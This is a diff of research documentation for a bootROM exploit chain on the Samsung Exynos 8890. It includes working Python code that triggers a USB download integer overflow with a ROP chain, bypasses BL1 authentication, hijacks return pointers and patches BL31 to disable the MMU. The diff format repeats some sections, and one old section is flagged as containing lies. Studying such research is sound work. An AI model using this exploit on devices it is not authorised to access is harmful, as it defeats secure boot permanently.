The bootRom is the first code that runs on the Exynos SoC. It is responsible for initializing the hardware and loading the first stage bootloader from storage. The BootROM is stored in a read-only memory and cannot be modified (making vulnerabilities in this permanent/non-patcheable). The BootROM is responsible for initializing the USB controller and receiving the first stage bootloader from the USB host. It will be waiting for a package in the following format (dldata == download data):
|
||||
@ -12,9 +14,9 @@ dldata
|
||||
A key For uploading a stage to boot, a custom protocol is used. The dldata that has to be send is 512 bytes long, and has the following format:
|
||||
|
||||
.. figure:: images/dl_packet.drawio.svg
|
||||
:align: center
|
||||
:align: center
|
||||
|
||||
The dldata packet is used to send data to the BootROM.
|
||||
The dldata packet is used to send data to the BootROM.
|
||||
|
||||
The size in the packet is the total size of the packet, including header and footer. If we modify this, we will have a payload size of around 502 bytes.
|
||||
|
||||
|
@ -7,30 +7,25 @@ This part describes the boot chain of the ``Exynos 8890`` SoC.
|
||||
|
||||
This is all still under development and will change.
|
||||
|
||||
Memory overview
|
||||
---------------
|
||||
General overview
|
||||
================
|
||||
|
||||
Memory layout
|
||||
^^^^^^^^^^^^^
|
||||
Keep this overview in mind when reading through the boot chain exploit.
|
||||
|
||||
.. raw:: html
|
||||
|
||||
<iframe src="../_static/stack_and_functions.html" width="100%" height="1000px" frameborder="0" float='center'></iframe>
|
||||
|
||||
Exploitation
|
||||
------------
|
||||
After exploitation the goal is to fully boot the device. We're trying to use Frederic's exploit to load a debugger and then boot the device. The debugger needs to be kept 'alive' through the boot chain, so we can patch the boot chain at the right time. In order to run the debugger, a small amount of the bootROM was reversed in order to implement send/recv functionality.
|
||||
Approach
|
||||
^^^^^^^^
|
||||
In our initial approach, we were manually booting all stages from the debugger, and jumping directly back to the debugger (without using the USB protocol). This was done to keep the debugger alive throughout the boot chain, but this became very difficult after BL31, as the MMU didn't allow us to read/write to most spaces, cutting off our access to BL31 during boot at some point. And losing our debugger interface in the process.
|
||||
|
||||
.. topic:: gupje
|
||||
This is also why there is some ghost code within the project. We were trying to keep the debugger alive throughout the boot chain, but this was not easily feasible.
|
||||
|
||||
Gupje is the debugger we'll be loading onto the device and will be replacing throughout the bootchain.
|
||||
|
||||
Loading the debugger
|
||||
^^^^^^^^^^^^^^^^^^^^
|
||||
The debugger is based on `Gupje <https://git.eminjenv.nl/nfi-exploitdev/gupje>`_.
|
||||
|
||||
TODO
|
||||
|
||||
Boot stages/payloads
|
||||
--------------------
|
||||
Boot stages
|
||||
^^^^^^^^^^^^^^
|
||||
Get the correct payloads for the bootROM stages from samsung firmware files, or from `Exynos8890 usbdl-recovery images/firmwares <https://github.com/ananjaser1211/exynos8890-exynos-usbdl-recovery>`_.
|
||||
|
||||
.. list-table:: bootrom stages
|
||||
@ -52,16 +47,61 @@ Get the correct payloads for the bootROM stages from samsung firmware files, or
|
||||
- Contains more textual information, and references to post BL2 boot, and android information
|
||||
- Kernel boot/BL33?
|
||||
|
||||
Stage0/entry
|
||||
============
|
||||
After loading the stage0 (entry.S - Frederic's exploit), we're allowed to send custom payloads to the device. The first payload that is then sent, is the debugger.
|
||||
Gupje
|
||||
^^^^^
|
||||
|
||||
TODO
|
||||
.. note::
|
||||
|
||||
`Gupje <https://git.herreweb.nl/EljakimHerrewijnen/Samsung_S7>`_ is the debugger we'll be loading onto the device and will be moving around throughout the bootchain.
|
||||
|
||||
Gupje needs to be built and loaded onto the device. Throughout the exploit, we've been moving the debugger to different spaces in memory on the device. This was necessary as the space we initially used, was in the way of the space used for BL31 or BL2. After BL31, we lost access to the debugger, as BL2 was overwriting our last available space. At some point we moved the debugger to 0x11200000, as we saw that this space was used by BL31. Here below the most important arguments to build the debugger. This space is executable when the MMU is off.
|
||||
|
||||
Here the ``linksript.txt`` file.
|
||||
|
||||
.. code:: bash
|
||||
|
||||
LINKSCRIPT.txt
|
||||
|
||||
debugger_storage = 0x11201200;
|
||||
debugger_stack = 0x11201000;
|
||||
debugger_entry = 0x11200000;
|
||||
|
||||
maybe_usb_setup_read = 0x00006f88;
|
||||
dwc3_ep0_start_trans = 0x0000791c;
|
||||
usb_event_handler = 0x00007bac;
|
||||
get_endpoint_recv_buffer = 0x00007a7c;
|
||||
exynos_sleep = 0x000027c8;
|
||||
|
||||
g_recv_buffer = 0x11201600;
|
||||
g_data_received = 0x11201400;
|
||||
|
||||
And the ``symbols.ld`` file.
|
||||
|
||||
.. code:: bash
|
||||
|
||||
SYMBOLS.ld
|
||||
|
||||
MEMORY {
|
||||
ROM (rwx): ORIGIN = 0x11200000, LENGTH = 0x1000
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x11200000;
|
||||
.text . : {
|
||||
*(.text*)
|
||||
*(.data*)
|
||||
*(.rodata*)
|
||||
} >ROM
|
||||
|
||||
}
|
||||
|
||||
Debuggers
|
||||
=========
|
||||
After initial exploitation the goal was to fully boot the device. We're now moving into the next phase: 1) loading a debugger 2) and then to continue booting the device. If we manage to keep access to the debugger throughout the boot, this gives us room to exploit the device. But, the debugger needs to be kept 'alive' through the boot chain. The main difficulties here are the location of the debugger in memory (as it gets overwritten) and the MMU being enabled after BL31.
|
||||
|
||||
Initial debugger
|
||||
================
|
||||
Debugger
|
||||
--------
|
||||
^^^^^^^^^^^^^^^^
|
||||
The initial debugger is written to ``0x2069000``, with debugger_stack and _storage at ``0x0206b000`` and ``0x0206d000`` respectively.
|
||||
|
||||
After the initial loading of the debugger, the processor state reported is (using ghidra assistant):
|
||||
@ -77,6 +117,8 @@ After the initial loading of the debugger, the processor state reported is (usin
|
||||
|
||||
LR/X30 being the line register. This is the address the processor will jump to when the function is done (important to keep track off).
|
||||
|
||||
Second debugger
|
||||
^^^^^^^^^^^^^^^
|
||||
After a cache flush, the debugger seems to be cleared as well, so the debugger is relocated to ``0x20c0000``, with _stack and _storage now at ``0x20c2000`` and ``0x20c4000`` respectively. This is done by running:
|
||||
|
||||
.. code-block:: python
|
||||
@ -106,206 +148,187 @@ The processor state reported then is:
|
||||
X21 : 0x0 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
|
||||
X28 : 0x0 | X29 : 0x2020f00 | LR/X30 : 0x20c0000 | SP/X31 : 0x2020ef0
|
||||
|
||||
Stage1/BL1
|
||||
==========
|
||||
The first stage is downloading BL1, authenticating it and patching it after authentication. This is done by overwriting the USB return address pointer and jumping back to the debugger. In the debugger we can authenticate BL1, patch it and boot it. An overview of this process is shown below:
|
||||
Final debugger
|
||||
^^^^^^^^^^^^^^
|
||||
We searched for quite some time for a space which was both writeable and executable. After BL31, most space became unreachable, with the MMU not allowing read/write at most spaces. We tried putting the debugger in the GPU cache, and tried some other spaces visible in the dtsi files, but eventually we found a space at ``0x11200000``. This space is executable when the MMU is off. With the MMU on, we can read/write but not execute here.
|
||||
|
||||
Booting an authenticated and patched BL1:
|
||||
Python part
|
||||
^^^^^^^^^^^
|
||||
Python code to setup the debugger.
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
# Setup initial debugger
|
||||
self.setup_guppy_debugger()
|
||||
self.cd.arch_dbg.state.auto_sync = False
|
||||
self.cd.arch_dbg.state.auto_sync_special = False
|
||||
logger.debug('State after setting up initial debugger')
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
DEBUGGER_ADDR = 0x2069000 # 0x2069000
|
||||
|
||||
# Relocate debugger
|
||||
debugger = open("../../dump/reloc_debugger_0x11200000.bin", "rb").read()
|
||||
self.relocate_debugger(debugger=debugger, entry=0x11200000, storage=0x11201200, g_data_received=0x11201400)
|
||||
DEBUGGER_ADDR = 0x11200000
|
||||
|
||||
# Test debugger connection
|
||||
self.cd.test_connection()
|
||||
|
||||
Stage 1 - Initial exploit
|
||||
=========================
|
||||
Frederic created a payload called 'Exynos8890dump_bootrom', which used the usb dwc3 protocol (USB Synopsys DesignWare USB 3.0), to read and dump the bootrom. This payload was slightly modified, to keep the USB connection alive (stage1.bin). Frederic's C code was implemented in python.
|
||||
|
||||
.. code:: python
|
||||
|
||||
def exploit(self, payload: bytes):
|
||||
'''
|
||||
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
|
||||
'''
|
||||
assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
|
||||
|
||||
current_offset = TARGET_OFFSETS[self.target][0]
|
||||
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
|
||||
transferred = ctypes.c_int()
|
||||
|
||||
size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
|
||||
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
|
||||
max_payload_size = 0x100000000 - size_to_overflow
|
||||
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
|
||||
|
||||
# Assert that payload is 502 bytes
|
||||
payload = payload + ((max_payload_size - len(payload)) * b"\x00")
|
||||
assert len(payload) == max_payload_size, "Invalid payload. Size is wrong"
|
||||
|
||||
# First send payload to trigger the bug
|
||||
bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
|
||||
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
|
||||
assert res == 0, "Error triggering payload"
|
||||
assert transferred.value == len(bug_payload), "Invalid transfered size"
|
||||
current_offset += len(bug_payload) - 8 # Remove header
|
||||
|
||||
cnt = 0
|
||||
while True:
|
||||
if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
|
||||
break
|
||||
self.send_empty_transfer()
|
||||
current_offset += CHUNK_SIZE
|
||||
cnt += 1
|
||||
if current_offset > 0x100000000:
|
||||
current_offset = current_offset - 0x100000000 #reset 32 byte integer
|
||||
print(f"{cnt} {hex(current_offset)}")
|
||||
|
||||
remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
|
||||
assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
|
||||
if remaining > BLOCK_SIZE:
|
||||
self.send_empty_transfer()
|
||||
# Send last transfer, TODO who aligns this ROM??
|
||||
current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
|
||||
cnt += 1
|
||||
print(f"{cnt} {hex(current_offset)}")
|
||||
|
||||
# Build ROP chain.
|
||||
rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
|
||||
transferred = ctypes.c_int(0)
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, rop_chain, len(rop_chain), ctypes.byref(transferred), 0)
|
||||
assert res == 0, "Error sending ROP chain"
|
||||
return
|
||||
|
||||
After this exploitation, we're able to send custom payloads. The first payload that is sent, sets up the debugger. In order to run the debugger, a small amount of the bootROM was reversed in order to implement send/recv functionality.
|
||||
|
||||
@EljakimHerrewijnen: what send/recv did you reverse? What code from the bootROM did you reverse?
|
||||
|
||||
Stage 2 - BL1
|
||||
=============
|
||||
Here, in order, the patches we applied to get BL1 to boot:
|
||||
|
||||
.. figure:: images/boot_chain_bl1.drawio.svg
|
||||
:align: center
|
||||
|
||||
Boot chain
|
||||
|
||||
- Overwrite the USB return address pointer (`0x02020f60`) to jump back to the debugger. ``self.cd.memwrite_region(0x02020f60, p64(DEBUGGER_ADDR))``
|
||||
- Set link register to debugger and jump into the boot USB (`0x000064e0`) function. ``self.cd.arch_dbg.state.LR = DEBUGGER_ADDR`` and then ``self.cd.restore_stack_and_jump(0x000064e0)``
|
||||
- Now we can send the BL1 binary to the device. ``self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.1.bin", "rb").read())``. At this point, we retain access to the debugger.
|
||||
- To patch the authentication, we set X0 and X1 to 1, then again set the link register to the debugger, and jump into the authentication function at ``0x00012848``. ``self.cd.arch_dbg.state.X0 = 1`` and ``self.cd.arch_dbg.state.X1 = 1`` and ``self.cd.arch_dbg.state.LR = lr`` and then ``self.cd.restore_stack_and_jump(0x00012848)``
|
||||
- We flush the cache ``self.usb_write(b"FLSH")`` (Frederic did this as well).
|
||||
- Now we hijack the USB download function to jump back to the debugger. ``self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR))`` and ``self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))``
|
||||
- And finally, we again restore our link register to the debugger, and jump into BL1 ``self.cd.restore_stack_and_jump(0x000002c0)``
|
||||
|
||||
|
||||
.. figure:: images/initial_boot_function.png
|
||||
:align: center
|
||||
|
||||
Overview of the initial boot function in the Exynos 8890.
|
||||
|
||||
At this point, after loading and executing BL1, the device returns to the debugger. Normally, the device would boot into BL1, and would then wait for the next boot stage to be sent over USB. But because we hijacked the USB return address pointer, the device returns to the debugger.
|
||||
|
||||
Regarding auth_bl1: Initially we thought that 0x0 indicated a verified boot state (as is plausible when reading the decompiled code in Ghidra). But after modifying BL1 in the header and contents, this value did not change.
|
||||
|
||||
.. note::
|
||||
|
||||
git commit 8cb5f2e1 fully boots, you can use this commit to patch bl1 only.
|
||||
git commit 8cb5f2e1 fully boots, you can use this commit to patch BL1 only.
|
||||
|
||||
Stage2/BL31
|
||||
===========
|
||||
Stage 3 - BL31
|
||||
==============
|
||||
|
||||
Initial boot through BL31
|
||||
^^^^^^^^^^^^^^^^^^^^^^^^^
|
||||
Next up is BL31, which is loaded by BL1. BL31 is written at ``0x02024000`` with the entry point at ``0x02024010``, it ends at ``0x02048000``. ``BL31`` is the secure monitor. The monitor uses memory that is also being used by the debugger, so we will have to relocate it to keep code exeuction.
|
||||
|
||||
.. figure:: images/bl31_debugger_memory_example.png
|
||||
:align: center
|
||||
|
||||
Example of BL31 using debugger memory.
|
||||
Example of BL31 using memory from the initial debugger.
|
||||
|
||||
BL31 also configures the VBAR_EL3 and MMU so the memory mapping will probably change after this stage (preparation for trustzone?).
|
||||
BL31 also configures the VBAR_EL3 and MMU so the memory mapping will probably change after this stage (preparation for trustzone?). Here we decided to move the debugger to 0x02048000, as this space is still accessible after BL31, but this space will get overwritten by BL2.
|
||||
|
||||
It would be nice to patch BL31 before it is being executed. However the current exploit boot flow does not allow this because the ROM function downloads the next stage.
|
||||
At this point we switched our approach to booting the device, as we were unable to keep the debugger alive throughout the boot chain. We now boot the device normally, and then try to get our debugger after booting each stage. Because of this, we didn't need to modify a lot after BL1. Essentially all we did was:
|
||||
|
||||
Initial boot function (BL1)
|
||||
---------------------------
|
||||
- Set the link register to the debugger: ``self.cd.arch_dbg.state.LR = DEBUGGER_ADDR``
|
||||
- Jump into our hijacked USB function: ``self.cd.restore_stack_and_jump(hijacked_fun)``
|
||||
- Send BL31: ``self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())``
|
||||
- Continue a function that BL1 called via the USB: ``self.cd.restore_stack_and_jump(0x2022948)``
|
||||
- Jump into BL31: ``self.cd.restore_stack_and_jump(0x02024010)``
|
||||
|
||||
.. figure:: images/initial_boot_function.png
|
||||
:align: center
|
||||
This boot process restores us to the debugger, but after this, we're unable to access most memory spaces. Notably, we tried getting access to the TTBR0_EL3. But something prohibits us reading there. We weren't able to find any executable space that was still available, for after BL2. BL2 would overwrite our debugger at this point.
|
||||
|
||||
Overview of the initial boot function in the exynos 8890
|
||||
Patching BL31
|
||||
^^^^^^^^^^^^^
|
||||
While looking for flags which were used for the MMU, we found a function at ``0x020244e8`` which we were able to turn off, but which still allowed a full boot into recovery. The MMU however stated to being disabled.
|
||||
|
||||
.. caution::
|
||||
- get special registers: ``self.cd.arch_dbg.fetch_special_regs()``
|
||||
- MMU state: ``self.cd.arch_dbg.state.R_SCTLR_EL3.mmu``
|
||||
|
||||
This part needs to be rewritten (contains lies)
|
||||
|
||||
BL1 needs to be authenticated. BL31 loads at address ``0x02022000`` and contains some form of header (ramdump). There seems to be a samsung header format, where the first 4 bytes define the entry point of the binary. In this case this entry is ``+0x10`` so we jump to ``0x02024010``. Authentication seems to be done at ``0x00012848``. Initially we thought that 0x0 indicated a verified boot state (as is plausible when reading the decompiled code in Ghidra). But after modifying BL1 in the header and contents, this value did not change.
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
# Try loading bl1
|
||||
bl1 = open("../S7/bl1.bin", "rb").read()
|
||||
self.cd.memwrite_region(0x02021800, bl1)
|
||||
# self.usb_write(b"FLSH")
|
||||
AUTH_BL1 = 0x00012848
|
||||
def auth_bl1(lr=0x2069000):
|
||||
# Load the firmware
|
||||
self.cd.arch_dbg.state.W0 = 1
|
||||
self.cd.arch_dbg.state.X1 = 1
|
||||
self.cd.arch_dbg.state.LR = lr #jump back to debugger when finished
|
||||
self.cd.restore_stack_and_jump(AUTH_BL1)
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
||||
|
||||
auth_bl1(0x020c0000)
|
||||
|
||||
.. figure:: images/bl1_auth_references.png
|
||||
:align: center
|
||||
|
||||
BL1 authentication
|
||||
|
||||
At this point, we assumed that the authentication was succesful, and the bootROM would jump back to the debugger after loading, but this was not the case. After running this function, we were able to send a single packet, but never received a response. Indicating that the function we were executing never returned on us.
|
||||
|
||||
If authentication at auth_bl1 is succesful, the returns a value from a function at ``1230c``. This function does some things, but eventually jumps to a function at:
|
||||
|
||||
.. figure:: images/bl1_auth_follow-up_1230c.png
|
||||
:align: center
|
||||
|
||||
BL1 authentication
|
||||
|
||||
After authentication the bootROM jumps to this function at, we can execute this function with the debugger.
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
self.cd.memwrite_region(0x02020f60, p32(0x020c0000))
|
||||
BOOT_BL1 = 0x00019310
|
||||
def jump_bl1(lr):
|
||||
self.cd.arch_dbg.state.LR = lr
|
||||
self.cd.restore_stack_and_jump(BOOT_BL1)
|
||||
|
||||
jump_bl1(0x020c0000)
|
||||
|
||||
jump_fwbl1()
|
||||
|
||||
BL1 is loaded at the download buffer and self copies to ``0x02022000`` and resumes execution there, with a size of 0x2000 (``0x02022000`` to ``0x02024000``).
|
||||
|
||||
However, this does not result in a jump back to the debugger. But the ROM still allows receival of one data package from the USB host (this is likely the system 'waiting' to receive the bootloader).
|
||||
|
||||
By adding the IMEM to ghidra, we can have a look at what is going here. After having modified the LR to jump back to the debugger and jumping into auth_bl1 at ``0x00012848`` we jump back to the debugger. Jumping into BL1 at ``2c0`` does not return us to the debugger. Here we need to hijack ``020200dc`` and ``02021880`` we're able to boot into BL1. We store the address of the hijacked function, to restore it later for a proper boot flow.
|
||||
|
||||
.. code:: python
|
||||
auth_bl1(DEBUGGER_ADDR)
|
||||
self.usb_write(b"FLSH") # Flush cache
|
||||
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
|
||||
|
||||
# BL1 patches
|
||||
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
|
||||
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
|
||||
|
||||
Authentication of BL1 seems to be done at ``0x0012848``. With return value '0' expected when this function is executed, to execute other functions.
|
||||
|
||||
.. figure:: images/bl1_auth_references.png
|
||||
.. figure:: images/turn_off_MMU_but_good_boot_0x020244e8.png
|
||||
:align: center
|
||||
|
||||
BL1 authentication.
|
||||
Function patheable that turns off MMU, but keeps boot intact.
|
||||
|
||||
purpose
|
||||
^^^^^^^
|
||||
bl1 interacts with several pheriperals, from the DTB these are:
|
||||
Additionally we found a space at ``0x11207010``, while looking for bit flags in ghidra, which seemed to be a memory read/write space. This space was not executable, unless the MMU was turned off. We used this space to store our debugger, then before booting BL31, we patched the if-statement above to disable the MMU. And booted.
|
||||
|
||||
.. code-block:: bash
|
||||
- Patch if-statement to not be met: ``self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1))``
|
||||
- Jump into BL31: ``self.cd.restore_stack_and_jump(0x02024010)``
|
||||
|
||||
/* FSYS0 */
|
||||
pinctrl_5: pinctrl@10E60000 {
|
||||
compatible = "samsung,exynos8890-pinctrl";
|
||||
reg = <0x0 0x10E60000 0x1000>;
|
||||
interrupts = <0 212 0>;
|
||||
};
|
||||
Stage 4 - BL2
|
||||
=============
|
||||
This is our current progress. BL2 has booted, and shows the VBAR's for EL1.
|
||||
|
||||
/* FSYS1 */
|
||||
pinctrl_6: pinctrl@15690000 {
|
||||
compatible = "samsung,exynos8890-pinctrl";
|
||||
reg = <0x0 0x15690000 0x1000>;
|
||||
interrupts = <0 202 0>;
|
||||
};
|
||||
.. code:: bash
|
||||
|
||||
/* PERIC1 */
|
||||
pinctrl_9: pinctrl@14CC0000 {
|
||||
compatible = "samsung,exynos8890-pinctrl";
|
||||
reg = <0x0 0x14CC0000 0x1000>;
|
||||
interrupts = <0 460 0>;
|
||||
};
|
||||
MMU is 0x0 (0x1=enabled, 0x0=disabled)
|
||||
TTBR0_EL3: 0xbc4650892f1460, TTBR1_EL2: 0xc54d39cb66f0, TTBR0_EL1: 0xa5c20fc0ac581142
|
||||
VBAR_EL3: 0x2031800, VBAR_EL2: 0x0, VBAR_EL1: 0x2053800
|
||||
TCR_EL3: 0x0, TCR_EL2: 0x80800000, TCR_EL1: 0x0
|
||||
SCTLR_EL3: 0xc5183a, SCTLR_EL2: 0x30c5083a, SCTLR_EL1: 0x30c5083a
|
||||
MAIR_EL3: 0x44e048e000098aa4, MAIR_EL2: 0x1e42bb572931240b, MAIR_EL1: 0x44e048e000098aa4
|
||||
Current EL: 0xc
|
||||
|
||||
pmu_system_controller: system-controller@105C0000 {
|
||||
compatible = "samsung,exynos8890-pmu", "syscon";
|
||||
reg = <0x0 0x105C0000 0x10000>;
|
||||
};
|
||||
Stage 5 - BL33
|
||||
==============
|
||||
The last stage before the kernel boots.
|
||||
|
||||
rtc@10070000 {
|
||||
compatible = "samsung,s3c6410-rtc";
|
||||
reg = <0x0 0x10070000 0x100>;
|
||||
interrupts = <0 73 0>, <0 74 0>;
|
||||
clocks = <&clock 157>;
|
||||
clock-names = "gate_rtc";
|
||||
};
|
||||
.. figure:: images/bl31_debugger_memory_example.png
|
||||
:align: center
|
||||
|
||||
Probably the only thing it does is set some clocks and prepare for BL31.
|
||||
|
||||
OLD
|
||||
---
|
||||
|
||||
The reason for this is the following code in bl1:
|
||||
|
||||
.. code-block:: c
|
||||
|
||||
iVar3 = FUN_02024320();
|
||||
if (iVar3 == 1) {
|
||||
(*(code *)(ulong)uRam0000000002020108)(0,1);
|
||||
}
|
||||
|
||||
This code uses a predefined ROM function(I was looking for it) and jumps back to that function when it's done.
|
||||
This function is at address ``0x020200e8``, looking in our IMEM dump we can see where in the ROM this points to:
|
||||
|
||||
.. code-block:: c
|
||||
|
||||
DAT_02020108 XREF[2]: FUN_00001708:000018b4(W),
|
||||
FUN_02021970:02021a40(R)
|
||||
02020108 90 57 00 00 undefined4 00005790h
|
||||
|
||||
Replacing this function with our debugger makes us jump back:
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
# Overwrite jump back
|
||||
self.cd.memwrite_region(0x02020108, p32(0x2069000))
|
||||
self.cd.memwrite_region(0x020200e8, p32(0x2069000))
|
||||
|
||||
def jump_bl1():
|
||||
self.cd.arch_dbg.state.LR = 0x2069000
|
||||
self.cd.restore_stack_and_jump(0x02024010)
|
||||
# self.cd.restore_stack_and_jump(0x02021810)
|
||||
|
||||
bl1 = open("../S7/bl1.bin", "rb").read()
|
||||
self.cd.memwrite_region(0x02024000, bl1)
|
||||
self.usb_write(b"FLSH")
|
||||
|
||||
# auth_bl1()
|
||||
jump_bl1()
|
||||
assert self.usb_read(0x200) == b"GiAs", "not jumped back to debugger?"
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
|
||||
root | DEBUG |
|
||||
X0 : 0xc00000 | X1 : 0x2069000 | X2 : 0x0 | X3 : 0x2023114 | X4 : 0x4 | X5 : 0x0 | X6 : 0x0 |
|
||||
X7 : 0x136c0008 | X8 : 0x2069000 | X9 : 0x0 | X10 : 0x2070000 | X11 : 0x0 | X12 : 0x0 | X13 : 0x0 |
|
||||
X14 : 0xf | X15 : 0x206d000 | X16 : 0x9 | X17 : 0x0 | X18 : 0x1 | X19 : 0x20200e8 | X20 : 0x0 |
|
||||
X21 : 0x80000000 | X22 : 0x0 | X23 : 0x0 | X24 : 0x0 | X25 : 0x0 | X26 : 0x0 | X27 : 0x1 |
|
||||
X28 : 0x0 | X29 : 0x2020ed8 | LR/X30 : 0x202419c | SP/X31 : 0x2020ec0
|
||||
|
||||
However this does not fully run bl1, so we will have to dig a bit deeper to see the puropose and when to jump back to the debugger.
|
||||
Boot chain with EL3 and EL1 areas
|
@ -17,13 +17,156 @@ What is interesting about the ROM is that it starts by checking MPIDR_EL1 regist
|
||||
0000000c 41 00 00 54 b.ne LAB_00000014
|
||||
00000010 fc 7f 83 14 b LAB_020e0000
|
||||
|
||||
BL1 peculiarities
|
||||
-----------------
|
||||
At this point, we assumed that the authentication was succesful, and the bootROM would jump back to the debugger after loading, but this was not the case. After running this function, we were able to send a single packet, but never received a response. Indicating that the function we were executing never returned on us.
|
||||
|
||||
.. figure:: images/bl1_auth_references.png
|
||||
:align: center
|
||||
|
||||
BL1 authentication
|
||||
|
||||
If authentication at auth_bl1 is succesful, the returns a value from a function at ``1230c``. This function does some things, but eventually jumps to a function at:
|
||||
|
||||
.. figure:: images/bl1_auth_follow-up_1230c.png
|
||||
:align: center
|
||||
|
||||
BL1 authentication
|
||||
|
||||
After authentication the bootROM jumps to this function at, we can execute this function with the debugger.
|
||||
|
||||
.. code-block:: python
|
||||
|
||||
self.cd.memwrite_region(0x02020f60, p32(0x020c0000))
|
||||
BOOT_BL1 = 0x00019310
|
||||
def jump_bl1(lr):
|
||||
self.cd.arch_dbg.state.LR = lr
|
||||
self.cd.restore_stack_and_jump(BOOT_BL1)
|
||||
|
||||
jump_bl1(0x020c0000)
|
||||
|
||||
jump_fwbl1()
|
||||
|
||||
BL1 is loaded at the download buffer and self copies to ``0x02022000`` and resumes execution there, with a size of 0x2000 (``0x02022000`` to ``0x02024000``).
|
||||
|
||||
However, this does not result in a jump back to the debugger. But the ROM still allows receival of one data package from the USB host (this is likely the system 'waiting' to receive the bootloader).
|
||||
|
||||
By adding the IMEM to ghidra, we can have a look at what is going here. After having modified the LR to jump back to the debugger and jumping into auth_bl1 at ``0x00012848`` we jump back to the debugger. Jumping into BL1 at ``2c0`` does not return us to the debugger. Here we need to hijack ``020200dc`` and ``02021880`` we're able to boot into BL1. We store the address of the hijacked function, to restore it later for a proper boot flow.
|
||||
|
||||
.. code:: python
|
||||
|
||||
auth_bl1(DEBUGGER_ADDR)
|
||||
self.usb_write(b"FLSH") # Flush cache
|
||||
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
|
||||
|
||||
# BL1 patches
|
||||
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
|
||||
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
|
||||
|
||||
Authentication of BL1 seems to be done at ``0x0012848``. With return value '0' expected when this function is executed, to execute other functions.
|
||||
|
||||
.. figure:: images/bl1_auth_references.png
|
||||
:align: center
|
||||
|
||||
BL1 authentication.
|
||||
|
||||
purpose
|
||||
^^^^^^^
|
||||
bl1 interacts with several pheriperals, from the DTB these are:
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
/* FSYS0 */
|
||||
pinctrl_5: pinctrl@10E60000 {
|
||||
compatible = "samsung,exynos8890-pinctrl";
|
||||
reg = <0x0 0x10E60000 0x1000>;
|
||||
interrupts = <0 212 0>;
|
||||
};
|
||||
|
||||
/* FSYS1 */
|
||||
pinctrl_6: pinctrl@15690000 {
|
||||
compatible = "samsung,exynos8890-pinctrl";
|
||||
reg = <0x0 0x15690000 0x1000>;
|
||||
interrupts = <0 202 0>;
|
||||
};
|
||||
|
||||
/* PERIC1 */
|
||||
pinctrl_9: pinctrl@14CC0000 {
|
||||
compatible = "samsung,exynos8890-pinctrl";
|
||||
reg = <0x0 0x14CC0000 0x1000>;
|
||||
interrupts = <0 460 0>;
|
||||
};
|
||||
|
||||
pmu_system_controller: system-controller@105C0000 {
|
||||
compatible = "samsung,exynos8890-pmu", "syscon";
|
||||
reg = <0x0 0x105C0000 0x10000>;
|
||||
};
|
||||
|
||||
rtc@10070000 {
|
||||
compatible = "samsung,s3c6410-rtc";
|
||||
reg = <0x0 0x10070000 0x100>;
|
||||
interrupts = <0 73 0>, <0 74 0>;
|
||||
clocks = <&clock 157>;
|
||||
clock-names = "gate_rtc";
|
||||
};
|
||||
|
||||
Probably the only thing it does is set some clocks and prepare for BL31.
|
||||
|
||||
The reason for this is the following code in bl1:
|
||||
|
||||
.. code-block:: c
|
||||
|
||||
iVar3 = FUN_02024320();
|
||||
if (iVar3 == 1) {
|
||||
(*(code *)(ulong)uRam0000000002020108)(0,1);
|
||||
}
|
||||
|
||||
This code uses a predefined ROM function(I was looking for it) and jumps back to that function when it's done.
|
||||
This function is at address ``0x020200e8``, looking in our IMEM dump we can see where in the ROM this points to:
|
||||
|
||||
.. code-block:: c
|
||||
|
||||
DAT_02020108 XREF[2]: FUN_00001708:000018b4(W),
|
||||
FUN_02021970:02021a40(R)
|
||||
02020108 90 57 00 00 undefined4 00005790h
|
||||
